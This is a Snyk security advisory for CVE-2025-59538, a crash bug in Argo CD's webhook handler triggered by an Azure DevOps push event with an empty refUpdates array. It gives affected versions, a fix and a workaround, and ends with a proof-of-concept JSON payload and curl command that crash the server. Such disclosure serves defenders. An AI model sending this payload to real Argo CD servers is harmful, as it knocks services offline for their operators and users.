Improper Check or Handling of Exceptional Conditions Affecting github.com/argoproj/argo-cd/v2/util/webhook package, versions >=2.9.0-rc1 <2.14.20


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Check or Handling of Exceptional Conditions vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDV2UTILWEBHOOK-13173008
  • published1 Oct 2025
  • disclosed30 Sept 2025
  • creditJakub Ciolek

Introduced: 30 Sep 2025

NewCVE-2025-59538  (opens in a new tab)
CWE-248  (opens in a new tab)
CWE-703  (opens in a new tab)

How to fix?

Upgrade github.com/argoproj/argo-cd/v2/util/webhook to version 2.14.20 or higher.

Overview

Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the /api/webhook endpoint. An attacker can cause the server process to crash by sending an Azure DevOps Push event with an empty resource.refUpdates array.

Note:

This is only exploitable if the default configuration is used where the webhook.azuredevops.username and webhook.azuredevops.password are not set.

Workaround

This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

PoC

Azure DevOps payload:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

Push event:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

References

CVSS Base Scores

version 4.0
version 3.1